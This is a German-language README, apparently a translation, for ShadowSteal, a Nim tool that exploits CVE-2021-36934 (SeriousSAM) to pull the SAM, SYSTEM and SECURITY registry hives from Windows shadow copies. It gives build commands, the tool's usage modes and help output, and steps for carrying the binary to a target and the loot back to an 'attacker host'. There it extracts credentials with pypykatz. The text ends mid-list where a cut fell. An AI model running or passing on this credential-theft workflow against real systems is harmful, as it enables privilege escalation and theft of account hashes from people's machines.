
Reine Nim-Implementierung zur Ausnutzung von CVE-2021-36934, der SeriousSAM lokalen Privilegienausweitung
Reine Nim-Implementierung zur Ausnutzung von CVE-2021-36934, der SeriousSAM Local Privilege Escalation (LPE). Nicht OPSEC-sicher ... noch ;). Ich beanspruche keine Anerkennung für die Entdeckung dieses Exploits.
Der Einstieg in ShadowSteal ist dank Docker jetzt einfacher denn je! Keine Lust, dich mit der Installation der Nim-Abhängigkeiten herumzuschlagen? Ich hab dich, Bruder! Führe das Python-Skript aus, um die Docker-Build-Umgebung zu erstellen, die Binärdatei zu kompilieren, sie zurück auf deinen Host zu übertragen und dann den Container zu beenden.
Installiere Docker auf deinem Host (schau in der Dokumentation nach, wie du es für verschiedene Betriebssysteme installierst), und führe dann das ShadowSteal-Python-Skript im Hauptverzeichnis aus:
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ sudo python3 ShadowSteal.py && cd bin/ && ls -l
Oder baue aus dem Quellcode, indem du Nim und seine Abhängigkeiten installierst:
$ sudo apt-get install nim
$ nimble install zippy argparse winim
Installiere die MinGW-Toolchain, falls sie nicht bereits installiert ist.
$ sudo apt-get install mingw-w64
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ make && cd bin/ && ls -l
Auf das Zielsystem übertragen ...
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
Aufgrund eines Versehens von Microsoft haben normale Benutzer in aktuellen Windows-Builds Leseberechtigungen für den Inhalt des Ordners ...\System32\config. Das bedeutet unter anderem, dass ein Benutzer mit niedrigen Rechten Lesezugriff auf die Dateien SAM, System und Security in ...\System32\config hat.

Ooof. Was können wir also damit anfangen?
Einige sehr aufmerksame Forscher (shout out an @jonasLyk!) haben bemerkt, dass ein Windows-Host, wenn er eine bestimmte Systemwiederherstellungskonfiguration verwendet hat, nämlich „Volume Shadow Copies", Sicherungskopien dieser Dateien speichert, die über den Win32-Geräte-Namespace für diese Kopien zugänglich sind.


Die SAM-Datei ist während des Betriebs des Hosts normalerweise gesperrt, daher kommt ein Zugriff auf die SAM in ...\System32\config\ nicht in Frage. Aber diese Schattenkopien sind aufgrund dieser Fehlkonfiguration für jeden Benutzer auf dem Host ein gefundenes Fressen. Sehr schön!
ShadowSteal ist eine in Nim geschriebene Binärdatei, die die Enumeration und Exfiltration der SAM-, System- und Security-Dateien aus diesen Schattenkopien automatisiert. Sie iteriert durch die möglichen Speicherorte der Schattenkopien und extrahiert die Dateien, sobald sie ein Ziel gefunden hat, in ein gezipptes Verzeichnis (denk an Bloodhound-Ausgabe).


Es ist nichts Weltbewegendes und der Code ist hacky, aber es funktioniert und es hat Spaß gemacht, es zu bauen!
Nim installieren:
$ sudo apt-get install nim
Abhängigkeiten installieren:
$ nimble install zippy argparse winim
Installiere die MinGW-Toolchain, falls sie nicht bereits installiert ist:
$ sudo apt-get install mingw-w64
Für 64-Bit-Windows kompilieren:
$ make
Auf das Zielsystem übertragen und ausführen!
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
[*] ShadowSteal! Identifies and extracts credentials that can be stolen due to the SeriousSAM (CVE-2021-36934) exploit. Searches from high to low, defaults searching 100 to 1.
Usage:
[options]
Options:
-h, --help
-t, --triage [*] Triage mode. Quick enumeration, tries to find quick wins.
-bf, --bruteforce [*] Bruteforce mode. Enumerates the entire range of possible locations (512 to 1). Takes a bit.
-b, --bezos [?] Jeff Bezos Mode
Begrenzt den Bruteforce der Speicherorte auf 10 bis 1 und verringert die Zahl bei jedem Versuch. Schnell und in den meisten Umgebungen effektiv.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -t
Durchsucht alle möglichen Speicherorte (512) und zählt bis 1 herunter. Versuche dies, um die Umgebung gründlich zu enumerieren. Dauert ein paar Minuten.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -bf
Übertrage das Ausgabeverzeichnis zurück auf deinen Angreifer-Host und extrahiere die Daten mit Pypykatz. So installierst du es:
$ pip3 install pypykatz
So führst du Pypykatz aus:
$ pypykatz registry [yyyyMMddhhmm_SYSTEM] --sam [yyyyMMddhhmm_SAM] --security [yyyyMMddhhmm_SECURITY]

Bietet jetzt eine einfach vorbereitete Docker-Build-Umgebung! Führe einfach das Skript ShadowSteal.py aus, um die Docker-Umgebung einzurichten, die Binärdatei zu kompilieren, sie zurück auf deinen Host zu übertragen und die Build-Container zu beenden. Es funktioniert einfach! (Etwas Montage erforderlich, d.h. du brauchst Docker, um es auszuführen).
Schlank und effektiv. Optimierte Kompilierungsoptionen hinzugefügt. RIESIGE Leistungssteigerung dank Compiler-Optimierung, der vollständige Bruteforce läuft jetzt fast augenblicklich. Großer Dank an @orbitalgun für den Pseudo-PR, Ruhm sei deinem Hause und deinem Namen!
Steigt ein, Jungs, dieser Zugwrack rollt los. Dieses Release war mein Schnellprototyp und es war ziemlich furchtbar lol. Hat aber trotzdem viel Spaß gemacht! Features:
